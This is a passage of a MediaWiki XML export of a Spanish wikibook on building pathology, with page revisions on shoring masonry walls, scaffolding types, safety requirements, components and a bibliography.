      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/Reparación]]</comment>
      <origin>430074</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="83" sha1="tbitr3x4446tdcc5vh1t1fjxa5ee3mg" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/Reparación]]</text>
      <sha1>tbitr3x4446tdcc5vh1t1fjxa5ee3mg</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Introducción</title>
    <ns>0</ns>
    <id>64278</id>
    <revision>
      <id>430086</id>
      <timestamp>2026-08-02T11:12:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «La patología de la edificación es la ciencia que estudia los problemas, daños y lesiones que surgen en un edificio después de su construcción. Sus tres fases clave son el síntoma (lesión), el origen (etiología) y el remedio (terapéutica).»</comment>
      <origin>430086</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="247" sha1="rxftyxwvqkecqvs3gp78y33jkcbcu4r" xml:space="preserve">La patología de la edificación es la ciencia que estudia los problemas, daños y lesiones que surgen en un edificio después de su construcción. Sus tres fases clave son el síntoma (lesión), el origen (etiología) y el remedio (terapéutica).</text>
      <sha1>rxftyxwvqkecqvs3gp78y33jkcbcu4r</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Apeos/Definición</title>
    <ns>0</ns>
    <id>64279</id>
    <revision>
      <id>430090</id>
      <timestamp>2026-08-02T11:17:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «Generalmente se consideran muros de fábrica los muros constituidos por elementos simples de forma más o menos prismática unidos por mortero formando un elemento lineal resistente.  Existen diversas formas de apear un muro en estas condiciones, dependiendo de tipo de estructura, la gravedad de los daños o las características de los forjados apoyados sobre él.   (ver [[Estructuras de fábrica]])  *'''Apeo de vigas de forjado paralelo al muro:'''   Se trata de un c…»</comment>
      <origin>430090</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2495" sha1="ptbqr54icv6z42kqs4o934yzp7hig4x" xml:space="preserve">Generalmente se consideran muros de fábrica los muros constituidos por elementos simples de forma más o menos prismática unidos por mortero formando un elemento lineal resistente.

Existen diversas formas de apear un muro en estas condiciones, dependiendo de tipo de estructura, la gravedad de los daños o las características de los forjados apoyados sobre él.   (ver [[Estructuras de fábrica]])

*'''Apeo de vigas de forjado paralelo al muro:'''


Se trata de un caso poco común, aunque posee una gran sencillez de montaje y que en ocasiones puede facilitar el acceso al punto a reparar. 

Esto se debe principalmente a que este sistema hace que las viguetas del forjado superior cambien su punto de apoyo original en el extremo por un intermedio, manteniéndose sin embargo la carga vertical en punta de las plantas superiores. Esta situación puede causar graves daños en dichas viguetas, por lo que este sistema suele usarse sólo en casos muy excepcionales o como apeo provisional de emergencia  (ver [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]).


*'''Apeo perpendicular al muro mediante puentes de agujas:'''


Se realiza de manera similar a los puentes de agujas explicados para los muros de entramados, apeando (en caso de que exista) la carrera o viga que recorre la coronación del muro para poder liberar la parte dañada. 

En general estos sistemas suelen resultar muy efectivos y pueden realizarse en madera o con tornapuntas del sistema Soldier que resultan más económicas y en ocasiones menos agresivas para la estructura.

Para este tipo de apeos es importante subrayar la necesidad de perforar el muro en diversos puntos para poder conectar ambas caras y estabilizar el apeo, lo que en algunos casos puede resultar excesivamente agresivo para la estructura. En caso de no ser posible realizar los pasos de las agujas a través del muro, habrá que prever la colocación de más de un apeo paralelo a cada una de las caras del muro para poder estabilizar unos con otros mediante los oportunos arriostramientos.

Al igual que para los apeos de muros de entramados, en caso de apear un muro en una planta superior (caso muy poco frecuente) habrá que considerar la transmisión de cargas de los apoyos de los apeos a los forjados inferiores, por lo que conviene continuar los puntales hasta el firme.


*'''Apeo de muro de fachada:'''

Ver [[patología de la edificación/Apeos/Apeos de fachadas y huecos|apeos de fachadas y huecos]].</text>
      <sha1>ptbqr54icv6z42kqs4o934yzp7hig4x</sha1>
    </revision>
    <revision>
      <id>430091</id>
      <parentid>430090</parentid>
      <timestamp>2026-08-02T11:17:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430091</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2508" sha1="cay6rao70l54yv39505a2aqj32k9o17" xml:space="preserve">Generalmente se consideran muros de fábrica los muros constituidos por elementos simples de forma más o menos prismática unidos por mortero formando un elemento lineal resistente.

Existen diversas formas de apear un muro en estas condiciones, dependiendo de tipo de estructura, la gravedad de los daños o las características de los forjados apoyados sobre él.   (ver [[Estructuras de fábrica]])

*'''Apeo de vigas de forjado paralelo al muro:'''


Se trata de un caso poco común, aunque posee una gran sencillez de montaje y que en ocasiones puede facilitar el acceso al punto a reparar. 

Esto se debe principalmente a que este sistema hace que las viguetas del forjado superior cambien su punto de apoyo original en el extremo por un intermedio, manteniéndose sin embargo la carga vertical en punta de las plantas superiores. Esta situación puede causar graves daños en dichas viguetas, por lo que este sistema suele usarse sólo en casos muy excepcionales o como apeo provisional de emergencia  (ver [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]).


*'''Apeo perpendicular al muro mediante puentes de agujas:'''


Se realiza de manera similar a los puentes de agujas explicados para los muros de entramados, apeando (en caso de que exista) la carrera o viga que recorre la coronación del muro para poder liberar la parte dañada. 

En general estos sistemas suelen resultar muy efectivos y pueden realizarse en madera o con tornapuntas del sistema Soldier que resultan más económicas y en ocasiones menos agresivas para la estructura.

Para este tipo de apeos es importante subrayar la necesidad de perforar el muro en diversos puntos para poder conectar ambas caras y estabilizar el apeo, lo que en algunos casos puede resultar excesivamente agresivo para la estructura. En caso de no ser posible realizar los pasos de las agujas a través del muro, habrá que prever la colocación de más de un apeo paralelo a cada una de las caras del muro para poder estabilizar unos con otros mediante los oportunos arriostramientos.

Al igual que para los apeos de muros de entramados, en caso de apear un muro en una planta superior (caso muy poco frecuente) habrá que considerar la transmisión de cargas de los apoyos de los apeos a los forjados inferiores, por lo que conviene continuar los puntales hasta el firme.


*'''Apeo de muro de fachada:'''

Ver [[patología de la edificación/Apeos/Apeos de fachadas y huecos|apeos de fachadas y huecos]].

{{AutoCat}}</text>
      <sha1>cay6rao70l54yv39505a2aqj32k9o17</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Andamios/Introducción</title>
    <ns>0</ns>
    <id>64280</id>
    <revision>
      <id>430096</id>
      <timestamp>2026-08-02T11:23:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «Un andamio es una estructura auxiliar provisional que se emplea en la ejecución de las obras para hacer accesible una zona que no lo es, y así facilitar el paso de personal y la conducción de materiales.»</comment>
      <origin>430096</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="206" sha1="3mkdenarsac2p6uyv389ucul9p0iheu" xml:space="preserve">Un andamio es una estructura auxiliar provisional que se emplea en la ejecución de las obras para hacer accesible una zona que no lo es, y así facilitar el paso de personal y la conducción de materiales.</text>
      <sha1>3mkdenarsac2p6uyv389ucul9p0iheu</sha1>
    </revision>
    <revision>
      <id>430097</id>
      <parentid>430096</parentid>
      <timestamp>2026-08-02T11:23:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430097</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="219" sha1="1snbne9fjhn28sydyupw6g30djrwlbh" xml:space="preserve">Un andamio es una estructura auxiliar provisional que se emplea en la ejecución de las obras para hacer accesible una zona que no lo es, y así facilitar el paso de personal y la conducción de materiales.

{{AutoCat}}</text>
      <sha1>1snbne9fjhn28sydyupw6g30djrwlbh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Andamios/Requerimientos</title>
    <ns>0</ns>
    <id>64281</id>
    <revision>
      <id>430098</id>
      <timestamp>2026-08-02T11:25:04Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «Los andamios deberán proyectarse, montarse y mantenerse de acuerdo con las cargas previstas de uso y según el número de empleados que lo usarán.  *En función de la complejidad del andamio elegido, deberá elaborarse un plan de montaje, de utilización y de desmontaje. *Los andamios deberán ser inspeccionados antes de su puesta en servicio, a continuación, periódicamente y tras cualquier modificación, período de no utilización, exposición a la intemperie, s…»</comment>
      <origin>430098</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1462" sha1="5yk40x2uc3rwk4ay85xmijmclsrlq08" xml:space="preserve">Los andamios deberán proyectarse, montarse y mantenerse de acuerdo con las cargas previstas de uso y según el número de empleados que lo usarán.

*En función de la complejidad del andamio elegido, deberá elaborarse un plan de montaje, de utilización y de desmontaje.
*Los andamios deberán ser inspeccionados antes de su puesta en servicio, a continuación, periódicamente y tras cualquier modificación, período de no utilización, exposición a la intemperie, sacudidas sísmicas, o cualquier circunstancia que hubiera podido afectar a su resistencia o a su estabilidad.
*Los elementos de apoyo deberán estar protegidos contra deslizamiento.
*En caso de tener que sujetarse a una fachada, deberán disponerse un número suficiente de anclajes a ella.
*Para garantizar la estabilidad, el promotor ha de encargar a un técnico competente los documentos técnicos necesarios, el cual será el responsable de la correcta ejecución del mismo.
*El empleo de equipos individuales de protección vendrá recogido en el documento técnico del andamio.
*En caso de ser prefabricados, deberán estar certificados por el fabricante e incluir sus datos técnicos, así como normas de montaje, uso y mantenimiento.

Hay varios tipos, clasificables en cuanto a su envergadura, sus materiales, su construcción, sus elementos, etc. Aquí se analizarán según su capacidad (pequeña o gran envergadura), además de dos casos especiales: los colgados y los móviles.</text>
      <sha1>5yk40x2uc3rwk4ay85xmijmclsrlq08</sha1>
    </revision>
    <revision>
      <id>430099</id>
      <parentid>430098</parentid>
      <timestamp>2026-08-02T11:25:09Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430099</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1475" sha1="m1avuqls5uhx56hee5m6sfsavrligxa" xml:space="preserve">Los andamios deberán proyectarse, montarse y mantenerse de acuerdo con las cargas previstas de uso y según el número de empleados que lo usarán.

*En función de la complejidad del andamio elegido, deberá elaborarse un plan de montaje, de utilización y de desmontaje.
*Los andamios deberán ser inspeccionados antes de su puesta en servicio, a continuación, periódicamente y tras cualquier modificación, período de no utilización, exposición a la intemperie, sacudidas sísmicas, o cualquier circunstancia que hubiera podido afectar a su resistencia o a su estabilidad.
*Los elementos de apoyo deberán estar protegidos contra deslizamiento.
*En caso de tener que sujetarse a una fachada, deberán disponerse un número suficiente de anclajes a ella.
*Para garantizar la estabilidad, el promotor ha de encargar a un técnico competente los documentos técnicos necesarios, el cual será el responsable de la correcta ejecución del mismo.
*El empleo de equipos individuales de protección vendrá recogido en el documento técnico del andamio.
*En caso de ser prefabricados, deberán estar certificados por el fabricante e incluir sus datos técnicos, así como normas de montaje, uso y mantenimiento.

Hay varios tipos, clasificables en cuanto a su envergadura, sus materiales, su construcción, sus elementos, etc. Aquí se analizarán según su capacidad (pequeña o gran envergadura), además de dos casos especiales: los colgados y los móviles.

{{AutoCat}}</text>
      <sha1>m1avuqls5uhx56hee5m6sfsavrligxa</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Andamios/Clases</title>
    <ns>0</ns>
    <id>64282</id>
    <revision>
      <id>430102</id>
      <timestamp>2026-08-02T11:29:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Separando secciones de libro principal</comment>
      <origin>430102</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3588" sha1="86tvxaz2c2x7xn2jou5dsoipjfsvxyj" xml:space="preserve">
=== ANDAMIOS DE PEQUEÑA ENVERGADURA ===

==== De caballete o asnilla====

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


====De borriquetas verticales====

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


===ANDAMIOS ESTRUCTURALES===

====De borriquetas armadas con bastidores móviles====

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

====Andamios tubulares====

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

*Servicio: Permitir el trabajo del operario en la plataforma.
*Protección: Cumplir las normas de seguridad y protección estipuladas.
*Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

**Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
**Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
**Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
**Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


=== CARACTERÍSTICAS ===

*Resistir cargas puntuales y repartidas.
*Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
*Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
*Habrá que proteger todo el perímetro con barandillas y rodapiés.
*Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
*Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
*El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
*Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
*El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.</text>
      <sha1>86tvxaz2c2x7xn2jou5dsoipjfsvxyj</sha1>
    </revision>
    <revision>
      <id>430103</id>
      <parentid>430102</parentid>
      <timestamp>2026-08-02T11:30:05Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>/* ANDAMIOS DE PEQUEÑA ENVERGADURA */ Mejoras de escritura</comment>
      <origin>430103</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3588" sha1="4bwjel5i2v3oaqibhmhj364v6pu0psh" xml:space="preserve">
=== Andamios de pequeña envergadura ===

==== De caballete o asnilla====

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


====De borriquetas verticales====

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


===Andamios estructurales===

====De borriquetas armadas con bastidores móviles====

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

====Andamios tubulares====

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

*Servicio: Permitir el trabajo del operario en la plataforma.
*Protección: Cumplir las normas de seguridad y protección estipuladas.
*Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

**Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
**Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
**Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
**Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


=== Características ===

*Resistir cargas puntuales y repartidas.
*Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
*Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
*Habrá que proteger todo el perímetro con barandillas y rodapiés.
*Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
*Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
*El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
*Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
*El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.</text>
      <sha1>4bwjel5i2v3oaqibhmhj364v6pu0psh</sha1>
    </revision>
    <revision>
      <id>430104</id>
      <parentid>430103</parentid>
      <timestamp>2026-08-02T11:30:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430104</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3601" sha1="nwv8wffvkeyoo0u9u62iflsg59s5ocd" xml:space="preserve">
=== Andamios de pequeña envergadura ===

==== De caballete o asnilla====

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


====De borriquetas verticales====

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


===Andamios estructurales===

====De borriquetas armadas con bastidores móviles====

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

====Andamios tubulares====

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

*Servicio: Permitir el trabajo del operario en la plataforma.
*Protección: Cumplir las normas de seguridad y protección estipuladas.
*Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

**Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
**Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
**Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
**Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


=== Características ===

*Resistir cargas puntuales y repartidas.
*Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
*Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
*Habrá que proteger todo el perímetro con barandillas y rodapiés.
*Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
*Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
*El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
*Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
*El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.

{{AutoCat}}</text>
      <sha1>nwv8wffvkeyoo0u9u62iflsg59s5ocd</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Andamios/Bibliografía</title>
    <ns>0</ns>
    <id>64283</id>
    <revision>
      <id>430105</id>
      <timestamp>2026-08-02T11:31:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>creando y separando</comment>
      <origin>430105</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1117" sha1="h76irtif7iguwzkqy8offkmbslhui7w" xml:space="preserve">*ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095
*“Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4
*NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm
*NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm
*NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm
*NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm
*REAL DECRETO 1215/1997, de 18 de julio 
*http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
*http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 
*www.ulmaconstruccion.com
*Apuntes de “Construcción, obra gruesa” (Arq.)
*Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)</text>
      <sha1>h76irtif7iguwzkqy8offkmbslhui7w</sha1>
    </revision>
    <revision>
      <id>430106</id>
      <parentid>430105</parentid>
      <timestamp>2026-08-02T11:31:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430106</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1152" sha1="bv30v0w5a2i7e7e6pua977jk1mclhud" xml:space="preserve">*ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095
*“Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4
*NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm
*NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm
*NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm
*NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm
*REAL DECRETO 1215/1997, de 18 de julio 
*http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
*http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 
*www.ulmaconstruccion.com
*Apuntes de “Construcción, obra gruesa” (Arq.)
*Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>bv30v0w5a2i7e7e6pua977jk1mclhud</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Andamios/Componentes</title>
    <ns>0</ns>
    <id>64284</id>
    <revision>
      <id>430109</id>
      <timestamp>2026-08-02T11:36:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:  *'''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.  *'''Sistema: Casa “Layher” modelo “Allround”'''.…»</comment>
      <origin>430109</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4400" sha1="1ctyjskexmlzk5zs29fm2ynga7ikgvh" xml:space="preserve">Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

*'''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

*'''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

*'''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

*'''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


== ANDAMIOS MÓVILES ==

*Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
*La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
*Los husillos se sustituyen por unos fijos de un metro.
*Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
*La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)

== ANdamios colgados ==

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


=== Componentes ===

*Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
*Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
*Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
*Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


=== Dispositivos de suspensión ===

*Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

*Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

*Pescante: elemento situado en el tejado del edificio, a modo de grúa.


=== Factores de riesgo ===

*Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
*Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
*Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
*Caídas al mismo nivel: acumulación de objetos.


=== Anclajes ===

*A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
*Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


=== Normas de montaje ===

*Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
*Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
*Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
*Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
*Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
*Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)
{{AutoCat}}</text>
      <sha1>1ctyjskexmlzk5zs29fm2ynga7ikgvh</sha1>
    </revision>
    <revision>
      <id>430110</id>
